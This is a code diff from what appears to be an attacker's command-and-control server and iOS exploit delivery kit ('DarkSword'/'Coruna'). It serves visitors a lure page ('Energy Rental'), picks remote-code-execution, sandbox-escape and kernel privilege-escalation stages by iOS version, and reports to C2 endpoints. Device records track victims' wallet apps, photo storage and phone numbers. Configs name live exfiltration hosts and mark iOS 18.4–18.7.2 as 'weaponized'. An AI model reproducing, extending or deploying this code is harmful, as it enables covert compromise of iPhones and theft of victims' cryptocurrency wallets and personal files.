diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index b8860fe..6814495 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -46,7 +46,7 @@ class DeviceController extends Controller $filters = $this->filtersFrom($request); $q = $this->filteredQuery($filters); - $sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at']; + $sortable = ['id', 'device_id', 'chain', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at']; $field = (string) $request->query('field', 'created_at'); $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc'; if (! in_array($field, $sortable, true)) { @@ -63,7 +63,7 @@ class DeviceController extends Controller return [ 'id' => $d->id, 'device_id' => $d->device_id, - 'family' => $d->family ?: Device::FAMILY_CORUNA, + 'chain' => (int) ($d->chain ?: Device::CHAIN_CORUNA), 'channel_id' => $d->channel_id ?: '', 'source_domain' => $d->source_domain ?: '', 'device_model' => $d->device_model ?: '', @@ -593,7 +593,7 @@ class DeviceController extends Controller } /** - * @return array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} + * @return array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} */ private function filtersFrom(Request $request): array { @@ -605,7 +605,7 @@ class DeviceController extends Controller return [ 'device_key' => trim((string) $request->query('device_key', '')), - 'family' => trim((string) $request->query('family', '')), + 'chain' => $this->parseChainFilter($request->query('chain', $request->query('family'))), 'channel_id' => trim((string) $request->query('channel_id', '')), 'model' => trim((string) $request->query('model', '')), 'ip' => trim((string) $request->query('ip', '')), @@ -618,7 +618,7 @@ class DeviceController extends Controller } /** - * @param array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters + * @param array{device_key: string, chain: ?int, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters */ private function filteredQuery(array $filters): Builder { @@ -628,8 +628,8 @@ class DeviceController extends Controller if ($filters['device_key'] !== '') { $q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%'); } - if ($filters['family'] !== '' && in_array($filters['family'], [Device::FAMILY_CORUNA, Device::FAMILY_DARKSWORD], true)) { - $q->where('devices.family', $filters['family']); + if ($filters['chain'] !== null) { + $q->where('devices.chain', $filters['chain']); } if ($filters['channel_id'] !== '') { $q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%'); @@ -658,4 +658,20 @@ class DeviceController extends Controller return $q; } + + private function parseChainFilter(mixed $raw): ?int + { + $value = is_string($raw) ? strtolower(trim($raw)) : $raw; + if ($value === '' || $value === null) { + return null; + } + if ($value === 1 || $value === '1' || $value === 'coruna') { + return Device::CHAIN_CORUNA; + } + if ($value === 2 || $value === '2' || $value === 'darksword') { + return Device::CHAIN_DARKSWORD; + } + + return null; + } } diff --git a/app/Http/Controllers/C2/DarkSwordC2Controller.php b/app/Http/Controllers/C2/DarkSwordC2Controller.php index 954e671..9cfebd5 100644 --- a/app/Http/Controllers/C2/DarkSwordC2Controller.php +++ b/app/Http/Controllers/C2/DarkSwordC2Controller.php @@ -86,7 +86,7 @@ class DarkSwordC2Controller extends Controller { $payload = $this->payloadFromQueryOrJson($request); - return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request)); + return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request), ingest: false); } public function peStage(Request $request, string $name = ''): SymfonyResponse @@ -103,7 +103,19 @@ class DarkSwordC2Controller extends Controller $body['pe_stage'] = $stage; } - return $this->finish($request, $path, $payload, $this->logAck($request), $body); + $file = public_path('next-chain/pe_stage/'.$stage.'.js'); + if (! is_file($file)) { + $file = base_path('channel-builder-ds/source/pe_stage/'.$stage.'.js'); + } + $js = is_file($file) ? (string) file_get_contents($file) : 'ok'; + + return $this->finish( + $request, + $path, + $payload, + response($js, 200)->header('Content-Type', 'application/javascript; charset=utf-8'), + $body + ); } public function register(Request $request): SymfonyResponse @@ -246,11 +258,14 @@ class DarkSwordC2Controller extends Controller array $payload, SymfonyResponse $response, array|string|null $logBody = null, + bool $ingest = true, ): SymfonyResponse { - try { - $this->ingest->ingest($request, $path, $payload); - } catch (\Throwable $e) { - error_log('[ds] ingest '.$path.' '.$e->getMessage()); + if ($ingest) { + try { + $this->ingest->ingest($request, $path, $payload); + } catch (\Throwable $e) { + error_log('[ds] ingest '.$path.' '.$e->getMessage()); + } } $body = $logBody ?? $this->previewBody($request); diff --git a/app/Models/Device.php b/app/Models/Device.php index 2b893ff..9b8e433 100644 --- a/app/Models/Device.php +++ b/app/Models/Device.php @@ -13,18 +13,18 @@ class Device extends Model public const WALLET_YES = 2; - public const FAMILY_CORUNA = 'coruna'; + public const CHAIN_CORUNA = 1; - public const FAMILY_DARKSWORD = 'darksword'; + public const CHAIN_DARKSWORD = 2; protected $fillable = [ - 'device_id', 'family', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent', + 'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent', 'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names', ]; protected $attributes = [ 'has_wallet' => self::WALLET_UNKNOWN, - 'family' => self::FAMILY_CORUNA, + 'chain' => self::CHAIN_CORUNA, ]; protected function casts(): array @@ -33,10 +33,16 @@ class Device extends Model 'telegram_notified' => 'boolean', 'album_storage' => 'boolean', 'has_wallet' => 'integer', + 'chain' => 'integer', 'wallet_names' => 'array', ]; } + public function isDarkSword(): bool + { + return (int) $this->chain === self::CHAIN_DARKSWORD; + } + public function hasWalletApps(): bool { return (int) $this->has_wallet === self::WALLET_YES; diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php index 910a4d7..e10c015 100644 --- a/app/Services/DarkSwordIngestAdapter.php +++ b/app/Services/DarkSwordIngestAdapter.php @@ -42,8 +42,8 @@ class DarkSwordIngestAdapter public function ingest(Request $request, string $path, array $payload): void { match ($path) { - '/api/ds/device/register', '/api/device/register' => $this->ingestRegister($request, $payload), - '/api/ds/log' => $this->ingestLog($request, $payload), + '/api/ds/device/register' => $this->ingestRegister($request, $payload), + '/api/ds/log' => null, '/a' => $this->ingestProfile($request, $payload), '/u' => $this->ingestApps($request, $payload), '/nb' => $this->ingestNotes($request, $payload), @@ -277,7 +277,7 @@ class DarkSwordIngestAdapter if ($existing) { $touch = [ 'updated_at' => now(), - 'family' => Device::FAMILY_DARKSWORD, + 'chain' => Device::CHAIN_DARKSWORD, ]; if ($ip !== '') { $touch['ip'] = $ip; @@ -299,7 +299,7 @@ class DarkSwordIngestAdapter $device = Device::query()->create([ 'device_id' => $key, - 'family' => Device::FAMILY_DARKSWORD, + 'chain' => Device::CHAIN_DARKSWORD, 'ip' => $ip !== '' ? $ip : null, 'device_model' => $model, 'ios_version' => $ios, diff --git a/app/Services/DsBeaconQueue.php b/app/Services/DsBeaconQueue.php index a1cd57a..6e873da 100644 --- a/app/Services/DsBeaconQueue.php +++ b/app/Services/DsBeaconQueue.php @@ -27,7 +27,7 @@ class DsBeaconQueue public function seed(Device $device): void { - if ($device->family !== Device::FAMILY_DARKSWORD) { + if ((int) $device->chain !== Device::CHAIN_DARKSWORD) { return; } diff --git a/bootstrap/app.php b/bootstrap/app.php index 5922941..7de14ca 100644 --- a/bootstrap/app.php +++ b/bootstrap/app.php @@ -65,7 +65,6 @@ return Application::configure(basePath: dirname(__DIR__)) 'war', 'p', 'stats', - 'log.html', ]); $middleware->redirectGuestsTo(function () { diff --git a/channel-builder-ds/README.md b/channel-builder-ds/README.md index d3c7801..8514313 100644 --- a/channel-builder-ds/README.md +++ b/channel-builder-ds/README.md @@ -1,31 +1,15 @@ # channel-builder-ds -DarkSword / one99 static builder. `source/` is the pristine tree (live hosts). -`tools/build.py` rewrites C2 / delivery origins and copies the result to -`public/next-chain`. Runtime splits two bases: +`source/` 是 one99/raw 的利用树。构建只做 C2 主机字符串替换,再拷到 `public/next-chain`。 -- `__LAB_DELIVERY_HOST__` — static assets; may include a path (`https://cdn.example.com/next-chain`) -- `__LAB_EXFIL__` — C2 / API (`/api/ds/chain-targets`, `/api/ds/device/register`, `/api/ds/log`, beacon/war) +**资源域名不配置:** 页面用当前 weifile 的 `location.origin + /next-chain`。 +**C2 可配置:** `php artisan ds:build --c2 …` 改 `/api/ds/log` `/api/ds/chain-targets` `/api/ds/device/register` `/beacon` `/war` `/stats`。 -If the page is served under `/next-chain/`, delivery host is inferred automatically. -Override in `source/config.js`: - -```js -deliveryHost: "https://cdn.example.com/next-chain", // full base, or -deliveryPath: "/next-chain", // location.origin + path -exfil: { host: "api.example.com", http_port: 443, https_port: 443, tls: true }, -``` +weifile(本身已是 iframe)按 iOS 路由后直接 `loadScript` `config.js` + `boot.js`,不再套一层 iframe。渠道 ID 与 weifile 相同:`/channel/X.Y.ZZ/`。 ```bash -# 本地实验室 -php artisan ds:build --origin http://192.168.31.130:8000 - -# 线上 C2(必须带 --origin,否则会沿用 source/config.js 里的 192.168.31.130) -php artisan ds:build --origin https://你的域名 - -# 等价 -cd channel-builder-ds -python3 tools/build.py --origin https://你的域名 +php artisan ds:build --c2 http://192.168.31.130:8000 +php artisan xxbb:repack ``` -看产物用 `public/next-chain/config.js`,不要看 `source/config.js`(模板,构建不会改它)。 +PE 进度:`GET /api/ds/pe-stage/{name}.js` 打到 C2(记日志并吐 JS)。`public/next-chain/pe_stage/` 仍随 `ds:build` 发布,但客户端不再走这条静态路径。 diff --git a/channel-builder-ds/source/api/chain-targets.json b/channel-builder-ds/source/api/chain-targets.json new file mode 100644 index 0000000..5a4ae3f --- /dev/null +++ b/channel-builder-ds/source/api/chain-targets.json @@ -0,0 +1 @@ +{"band":{"fallback_workers":["rce_worker_18.5.js","rce_worker_18.4.js"],"recommended_worker":"rce_worker_18.6.js","usable_for_attempt":true,"usable_grade":"LIVE","weaponized":true},"chain":"darksword","delivery_ok":true,"entry_point":"","exfil":{"delivery_stats_url":"http://192.168.31.130:8080/stats","domain":"192.168.31.130","host":"192.168.31.130","http_port":8080,"https_port":8080,"prefer_https":false,"stats_url":"http://192.168.31.130:8080/stats","stats_url_direct":"http://192.168.31.130:8080/stats","tls":false},"fallback_workers":["rce_worker_18.5.js","rce_worker_18.4.js"],"gated":false,"ios":"18.6","ok":true,"reason":"DarkSword 18.4-18.7.2","recommended_worker":"rce_worker_18.6.js","redirect_to":"","s5_module":"","usable_grade":"LIVE","weaponized":true} diff --git a/channel-builder-ds/source/api/device-context.json b/channel-builder-ds/source/api/device-context.json new file mode 100644 index 0000000..46c71f5 --- /dev/null +++ b/channel-builder-ds/source/api/device-context.json @@ -0,0 +1 @@ +{"bundle":"18.5-18.6.2","deviceVersion":"18.5","folder":"qqtime/iOS18.5-18.6.2"} diff --git a/channel-builder-ds/source/boot.js b/channel-builder-ds/source/boot.js index 63d6d35..4495bc8 100644 --- a/channel-builder-ds/source/boot.js +++ b/channel-builder-ds/source/boot.js @@ -2,10 +2,92 @@ 'use strict'; var STAGE = { boot: 8, loader: 18, worker: 42, sbx0: 58, sbx1: 72, pe: 86, post: 100 }; - window.__LAB_CHAIN__ = ''; + window.__LAB_CHAIN__ = window.__LAB_CHAIN__ || ''; + + function trimSlash(s) { + return String(s || '').replace(/\/+$/, ''); + } + + function hostOnly(raw) { + return String(raw || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; + } + + function persistChannelCode(code) { + code = String(code || '').trim().slice(0, 64); + if (!code) return ''; + try { window.__LAB_CHANNEL_CODE__ = code; } catch (e0) {} + try { window.__CORUNA_CHANNEL__ = code; } catch (e1) {} + try { if (sessionStorage) sessionStorage.setItem('lab_channel_code', code); } catch (e2) {} + try { if (localStorage) localStorage.setItem('lab_channel_code', code); } catch (e3) {} + return code; + } + + function labChannelCode() { + try { + if (window.__LAB_CHANNEL_CODE__) return String(window.__LAB_CHANNEL_CODE__); + } catch (e0) {} + try { + var stored = sessionStorage.getItem('lab_channel_code') || localStorage.getItem('lab_channel_code') || ''; + if (stored) return persistChannelCode(stored); + } catch (e1) {} + try { + var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i); + if (m && m[1]) return persistChannelCode(m[1].toUpperCase()); + } catch (e2) {} + return ''; + } + + function assetBase() { + try { + if (window.__LAB_DELIVERY_HOST__) return trimSlash(window.__LAB_DELIVERY_HOST__); + } catch (e0) {} + var origin = ''; + try { + if (location.origin && location.origin !== 'null') origin = trimSlash(location.origin); + } catch (e1) {} + var path = '/next-chain'; + try { + var cfg = window.NEWS2_CONFIG || {}; + if (cfg.deliveryPath) path = String(cfg.deliveryPath); + } catch (e2) {} + if (path.charAt(0) !== '/') path = '/' + path; + return origin + path.replace(/\/+$/, ''); + } + + function apiBase() { + try { + var ex = (window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) + ? window.__LAB_EXFIL__ + : ((window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil) || null); + if (ex && ex.host) { + var tls = !!(ex.tls || ex.prefer_https); + var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80); + var origin = (tls ? 'https://' : 'http://') + hostOnly(ex.host); + if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port; + return origin; + } + } catch (e0) {} + try { + if (location.origin && location.origin !== 'null') return trimSlash(location.origin); + } catch (e1) {} + return ''; + } + + function applyExfil(ex) { + if (!ex || !ex.host) return; + window.__LAB_EXFIL__ = { + host: hostOnly(ex.host), + domain: hostOnly(ex.domain || ex.host), + http_port: ex.http_port != null ? Number(ex.http_port) : 80, + https_port: ex.https_port != null ? Number(ex.https_port) : 80, + tls: !!ex.tls, + prefer_https: !!ex.prefer_https, + stats_url: ex.stats_url || '', + stats_url_direct: ex.stats_url_direct || '', + delivery_stats_url: ex.delivery_stats_url || '', + }; + } - var _stageQueue = []; - var _lastPostedStage = ''; function notify(stage, progress, label) { try { if (window.parent && window.parent !== window) { @@ -18,84 +100,46 @@ }, '*'); } } catch (e) {} - enqueueStage(stage, progress, label); - } - function enqueueStage(stage, progress, label) { - var key = String(stage) + '|' + String(progress) + '|' + String(label || stage); - if (key === _lastPostedStage) return; - _lastPostedStage = key; - _stageQueue.push({ stage: stage, progress: progress, label: label || stage }); - flushStageReports(); - } - function flushStageReports() { - var id = ''; - try { id = window.__LAB_DEVICE_UUID__ || ''; } catch (eId) {} - if (!id) return; - var channel = (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || ''; - while (_stageQueue.length) { - var item = _stageQueue.shift(); - try { - fetch(apiUrl('/api/ds/log'), { - method: 'POST', - headers: { 'Content-Type': 'application/json', 'X-Device-UUID': id }, - credentials: 'omit', - body: JSON.stringify({ - deviceUUID: id, - stage: item.stage, - progress: item.progress, - label: item.label, - chain: window.__LAB_CHAIN__ || '', - channelCode: channel - }) - }).catch(function () {}); - } catch (eS) {} - } } + labChannelCode(); + window.__LAB_DELIVERY_HOST__ = assetBase(); + try { + if (window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil) applyExfil(window.NEWS2_CONFIG.exfil); + } catch (eCfg) {} + + var base = assetBase(); + var api = apiBase(); + notify('boot', STAGE.boot, 'frame_boot'); - - if (typeof labEnsureHosts === 'function') labEnsureHosts(); - var base = (typeof labDeliveryHost === 'function') - ? labDeliveryHost() - : String(window.__LAB_DELIVERY_HOST__ || location.origin).replace(/\/$/, ''); - window.__LAB_DELIVERY_HOST__ = base; - function apiUrl(path) { - return (typeof labApiUrl === 'function') ? labApiUrl(path) : (String((window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) || location.origin).replace(/\/$/, '') + path); - } - function assetUrl(path) { - return (typeof labDeliveryUrl === 'function') ? labDeliveryUrl(path) : (base + (path.charAt(0) === '/' ? path : '/' + path)); - } - - // 記錄 frame.html 載入時間戳 console.log('[Frame] Loaded at', new Date().toISOString()); - fetch(apiUrl('/api/ds/log?text=frame.html loaded at ' + new Date().toISOString()), { method: 'GET' }).catch(() => {}); + fetch(api + '/api/ds/log?text=frame.html loaded at ' + new Date().toISOString(), { method: 'GET' }).catch(function () {}); function resolveExfilInline() { try { var xhr = new XMLHttpRequest(); - xhr.open('GET', apiUrl('/api/ds/chain-targets'), false); + xhr.open('GET', api + '/api/ds/chain-targets', false); xhr.send(); if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) { var d = JSON.parse(xhr.responseText); if (d.exfil && d.exfil.host) { - if (typeof labApplyExfil === 'function') labApplyExfil(d.exfil); - else window.__LAB_EXFIL__ = d.exfil; + applyExfil(d.exfil); + api = apiBase(); return; } } } catch (e) {} if (!window.__LAB_EXFIL__ || !window.__LAB_EXFIL__.host) { - window.__LAB_EXFIL__ = { - host: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com', - domain: window.__LAB_EXFIL_DOMAIN__ || 'mh0usocqzi6f46i.com', - http_port: 443, - https_port: 443, - tls: false, + var h = hostOnly(api || location.hostname); + applyExfil({ + host: h, + domain: h, + http_port: (location.port && Number(location.port)) || (location.protocol === 'https:' ? 443 : 80), + https_port: (location.port && Number(location.port)) || (location.protocol === 'https:' ? 443 : 80), + tls: location.protocol === 'https:', prefer_https: false, - stats_url: '', - stats_url_direct: '', - delivery_stats_url: '', - }; + }); + api = apiBase(); } } resolveExfilInline(); @@ -114,7 +158,7 @@ function cmpVer(a, b) { for (var i = 0; i < 3; i++) { - var ai = a[i] || 0, bi = b[i] || 0; + var ai = (a && a[i]) || 0, bi = (b && b[i]) || 0; if (ai < bi) return -1; if (ai > bi) return 1; } @@ -132,7 +176,6 @@ function isSilkPathRange(v) { if (!v || !v.length) return false; var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0; - // 17.2.2+ through 18.3 — fills post-Coruna gap if (maj === 17 && (min > 2 || (min === 2 && pat >= 2))) return true; if (maj === 18 && min <= 3) return true; return false; @@ -156,19 +199,7 @@ setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1)); } }; - document.body.appendChild(s); - } - - function loadChainLoader(onload, attempt) { - attempt = attempt || 0; - var s = document.createElement('script'); - s.async = false; - s.src = assetUrl('/rce_loader.js?_=' + Date.now()); - s.onload = function () { if (onload) onload(); }; - s.onerror = function () { - if (attempt < 3) setTimeout(function () { loadChainLoader(onload, attempt + 1); }, 300 * (attempt + 1)); - }; - document.body.appendChild(s); + (document.body || document.documentElement).appendChild(s); } var ios = parseIosVersion(); @@ -187,14 +218,14 @@ var apiPlan = null; try { var xhrPlan = new XMLHttpRequest(); - xhrPlan.open('GET', apiUrl('/api/ds/chain-targets?ios=' + encodeURIComponent(ios ? ios.join('.') : '')), false); + xhrPlan.open('GET', api + '/api/ds/chain-targets?ios=' + encodeURIComponent(ios ? ios.join('.') : ''), false); xhrPlan.send(); if (xhrPlan.status >= 200 && xhrPlan.status < 300 && xhrPlan.responseText) { apiPlan = JSON.parse(xhrPlan.responseText); if (apiPlan.chain) chain = apiPlan.chain; if (apiPlan.exfil) { - if (typeof labApplyExfil === 'function') labApplyExfil(apiPlan.exfil); - else window.__LAB_EXFIL__ = apiPlan.exfil; + applyExfil(apiPlan.exfil); + api = apiBase(); } window.__LAB_BAND__ = apiPlan.band || null; window.__LAB_GATED__ = !!apiPlan.gated; @@ -204,19 +235,16 @@ window.__LAB_ENTRY__ = apiPlan.entry_point || apiPlan.redirect_to || ''; window.__LAB_USABLE_GRADE__ = (apiPlan.band && apiPlan.band.usable_grade) || ''; window.__LAB_USABLE_FOR_ATTEMPT__ = !!(apiPlan.band && apiPlan.band.usable_for_attempt); - if (apiPlan.band && apiPlan.band.usable_grade === 'DEAD' && /26\.3/.test(ios ? ios.join('.') : '')) { - window.__LAB_RECOMMENDED_WORKER__ = window.__LAB_RECOMMENDED_WORKER__ || 'rce_worker_26.3.js'; - } try { var pw = window.__LAB_RECOMMENDED_WORKER__; if (pw) { var l = document.createElement('link'); - l.rel = 'preload'; l.as = 'script'; l.href = assetUrl('/' + pw); + l.rel = 'preload'; l.as = 'script'; l.href = base + '/' + pw; document.head.appendChild(l); } - ['sbx0_main_18.4.js','sbx1_main.js','pe_main.js'].forEach(function(f){ - var l2=document.createElement('link'); - l2.rel='prefetch'; l2.href=assetUrl('/'+f); + ['sbx0_main_18.4.js', 'sbx1_main.js', 'pe_worker.js', 'pe_main.js'].forEach(function (f) { + var l2 = document.createElement('link'); + l2.rel = 'prefetch'; l2.href = base + '/' + f; document.head.appendChild(l2); }); } catch (ePre) {} @@ -257,7 +285,6 @@ du = m ? decodeURIComponent(m[1]) : ''; } catch (eCk) {} } - // Always ensure a wall-clock device id so /api/ds/log + exfil attribute correctly if (!du || String(du).replace(/-/g, '').length < 16) du = genUuid32(); window.__LAB_DEVICE_UUID__ = String(du).replace(/-/g, '').toUpperCase().slice(0, 32); try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e1) {} @@ -267,20 +294,14 @@ } catch (e0) { try { window.__LAB_DEVICE_UUID__ = genUuid32(); } catch (e00) {} } - window.addEventListener('message', function (ev) { - if (!ev.data || ev.data.type !== 'lab-device-id' || !ev.data.deviceId) return; - window.__LAB_DEVICE_UUID__ = String(ev.data.deviceId).replace(/-/g, '').toUpperCase(); - try { localStorage.setItem('lab_device_uuid', window.__LAB_DEVICE_UUID__); } catch (e2) {} - try { flushStageReports(); } catch (eF) {} - }); })(); - try { flushStageReports(); } catch (eFlush) {} (function registerFrameDevice() { try { var id = window.__LAB_DEVICE_UUID__ || ''; if (!id) return; var iosStr = ios ? ios.join('.') : ''; + var channel = labChannelCode(); var regHeaders = { 'Content-Type': 'application/json', 'X-Device-UUID': id }; var regBody = JSON.stringify({ deviceUUID: id, @@ -289,9 +310,9 @@ ios: iosStr, ios_version: iosStr, chain: chain === 'blocked' ? 'out_of_scope' : chain, - channelCode: (typeof labChannelCode === 'function' ? labChannelCode() : (window.__LAB_CHANNEL_CODE__ || '')) || '' + channelCode: channel }); - fetch(apiUrl('/api/ds/device/register'), { + fetch(api + '/api/ds/device/register', { method: 'POST', headers: regHeaders, credentials: 'omit', @@ -301,30 +322,25 @@ if (canon) { window.__LAB_DEVICE_UUID__ = canon; try { localStorage.setItem('lab_device_uuid', canon); } catch (e3) {} - try { - document.cookie = 'lab_device_uuid=' + encodeURIComponent(canon) + ';path=/;max-age=31536000;SameSite=Lax'; - } catch (e4) {} - if (window.parent && window.parent !== window) { - try { window.parent.postMessage({ type: 'lab-device-id', deviceId: canon }, '*'); } catch (e5) {} - } } }).catch(function () {}); } catch (e) {} })(); - + console.log('[Frame] iOS version:', ios ? ios.join('.') : 'unknown'); console.log('[Frame] Chain selected:', chain); (function () { var id = window.__LAB_DEVICE_UUID__ || ''; var q = 'text=' + encodeURIComponent('Chain selected: ' + chain + ' for iOS ' + (ios ? ios.join('.') : 'unknown')); if (id) q += '&deviceUUID=' + encodeURIComponent(id) + '&device=' + encodeURIComponent(id); - fetch(apiUrl('/api/ds/log?' + q), { + var ch = labChannelCode(); + if (ch) q += '&channelCode=' + encodeURIComponent(ch); + fetch(api + '/api/ds/log?' + q, { method: 'GET', headers: id ? { 'X-Device-UUID': id } : {} }).catch(function () {}); })(); - function setHold(kind) { try { var ts = String(Date.now()); @@ -334,86 +350,32 @@ localStorage.setItem('__ds_rce_hold', ts); sessionStorage.setItem('__ds_rce_hold', ts); } - if (window.parent && window.parent !== window) { - window.parent.postMessage({ type: 'ds-rce-hold', progress: 42 }, '*'); - } } catch (e) {} } - if (chain === 'coruna') { - notify('loader', STAGE.loader); - // Prefer full group.html entry when top-level; inside iframe use loader - var corunaEntry = (window.__LAB_ENTRY__ && window.__LAB_ENTRY__.indexOf('coruna') >= 0) - ? window.__LAB_ENTRY__ - : '/coruna/group.html'; - try { - if (window.top === window) { - location.replace(assetUrl(corunaEntry) + (location.search || '')); - return; - } - } catch (eTop) {} - loadScript(assetUrl('/coruna/coruna_loader.js'), function () { - notify('worker', STAGE.worker); - }); - } else if (chain === 'silkpath') { + if (chain === 'darksword' || chain === 'ghostwave') { setHold('rce'); notify('loader', STAGE.loader); - loadScript(assetUrl('/SilkPath/delivery/silkpath_loader.js'), function () { + loadScript(base + '/rce_loader.js', function () { notify('worker', STAGE.worker); }); - } else if (chain === 'darksword' || chain === 'ghostwave') { - // Hold must be set before RCE — otherwise crash-loop breaker / idle re-arm - // reload the page while stage1 is still running (looks like "auto refresh"). - setHold('rce'); + } else if (chain === 'coruna' || chain === 'silkpath') { notify('loader', STAGE.loader); - // Load plaintext rce_loader.js - loadChainLoader(function () { - notify('worker', STAGE.worker); - }); } else { - loadScript(assetUrl('/chain_blocked.js'), function () { - notify('loader', STAGE.loader); - }); + notify('loader', STAGE.loader); } var _log = console.log; console.log = function () { var msg = Array.prototype.join.call(arguments, ' '); - // Stage mapping must be strict: bare "exfil" / "pe exfil grace" must NOT jump to S6. if (/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i.test(msg)) notify('worker', STAGE.worker); if (/after get js|sbx0_main/i.test(msg)) notify('sbx0', STAGE.sbx0); if (/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i.test(msg)) notify('sbx1', STAGE.sbx1); if (/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait/i.test(msg)) notify('pe', STAGE.pe); - // S6 only on real post-exploit completion — not mid-chain "exfil" / "all done" logs if (/file_downloader_ok|chain.?complete/i.test(msg)) notify('post', STAGE.post); else if (/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i.test(msg)) { notify('pe', Math.max(STAGE.pe, 90), '權限提升 · 後台收尾'); } - if (/coruna stage2|seedbell/i.test(msg)) notify('sbx0', STAGE.sbx0); - if (/coruna stage3|0xF00DBEEF|dylib load address/i.test(msg)) notify('pe', STAGE.pe); - // Signal parent: CoreAnimation→sendPort hang needs timely re-arm - if (/GPU crashed at CoreAnimation|waiting for sendPort|sendPort wait timed out|coreanim_abort|oob:.*hang|sprayBuffers:.*hang/i.test(msg)) { - try { - if (window.parent && window.parent !== window) { - window.parent.postMessage({ type: 'ds-sbx-stall', progress: 58 }, '*'); - } - } catch (_) {} - } - // GPU kill blanks Safari compositor — parent should keep calm UI / faster re-arm - if (/crashGPUProcess|gpu_blank_expected|going to respawn gpu/i.test(msg)) { - try { - if (window.parent && window.parent !== window) { - window.parent.postMessage({ type: 'ds-gpu-blank', progress: 58 }, '*'); - } - } catch (_) {} - } - if (/\[MPD\] pe spawned|pe_main_pe_done|Spawning PE|pe bootstrap|nowait_exit fired|PEMK-A start alive|pe_after_runPE/i.test(msg)) { - try { - if (window.parent && window.parent !== window) { - window.parent.postMessage({ type: 'ds-pe-spawned', progress: 86 }, '*'); - } - } catch (_) {} - } return _log.apply(console, arguments); }; })(); diff --git a/channel-builder-ds/source/config.js b/channel-builder-ds/source/config.js index d52374a..b6ca209 100644 --- a/channel-builder-ds/source/config.js +++ b/channel-builder-ds/source/config.js @@ -1,18 +1,12 @@ window.NEWS2_CONFIG = { - // 空:跟当前打开页面走。配了 deliveryPath 后变成 location.origin + /next-chain - deliveryHost: "", deliveryPath: "/next-chain", - qqtimePath: "/qqtime/", - // C2 / API → coruna-lab :8000 + // C2 / API — ds:build --c2 rewrites this block exfil: { host: "192.168.31.130", domain: "192.168.31.130", - http_port: 8000, - https_port: 8000, + http_port: 8080, + https_port: 8080, tls: false, prefer_https: false, }, - redirectUrl: "https://ab.ux600.com", - countdownSeconds: 8, }; -if (typeof labApplyNews2Config === "function") labApplyNews2Config(); diff --git a/channel-builder-ds/source/done.html b/channel-builder-ds/source/done.html index dce94c8..441319e 100644 --- a/channel-builder-ds/source/done.html +++ b/channel-builder-ds/source/done.html @@ -22,20 +22,10 @@
- + - + + + diff --git a/channel-builder-ds/source/index.html b/channel-builder-ds/source/index.html index fac7ac4..0b59f47 100644 --- a/channel-builder-ds/source/index.html +++ b/channel-builder-ds/source/index.html @@ -6,17 +6,7 @@ Energy Rental - 24/7 Unattended Instant Delivery - + @@ -516,13 +506,13 @@ // 倒计时与链加载解耦。 // 日志已证实:WC crash 会整页再 GET /,若只用 sessionStorage,倒计时会再跑一遍并再次挂 iframe。 - // 用 localStorage(10min TTL)记住「倒计时已完成 / iframe 已拉起」,崩溃刷新后直接出落地页且不重跑链。 + // 用 localStorage(1h TTL)记住「倒计时已完成 / iframe 已拉起」,崩溃刷新后直接出落地页且不重跑链。 const cfg = window.NEWS2_CONFIG || {}; const landed = /[?&]landed=1(?:&|$)/.test(location.search); const LS_DONE_AT = "__er_idx_cd_done_at"; const LS_FRAME_AT = "__er_frame_at"; const SS_DEADLINE = "__er_idx_countdown_deadline"; - const STATE_TTL_MS = 10 * 60 * 1000; + const STATE_TTL_MS = 60 * 60 * 1000; window.__ER_COUNTDOWN_DONE__ = false; window.__ER_START_CHAIN__ = null; @@ -1077,33 +1067,30 @@ if (/[?&]landed=1(?:&|$)/.test(location.search)) return; if (location.pathname.indexOf("/qqtime") === 0) return; - // function isCoruna() { - // var m = /(?:iPhone|iPad|iPod).*?OS[\s_]+(\d+)[._](\d+)(?:[._](\d+))?/i.exec( - // navigator.userAgent || "" - // ); - // if 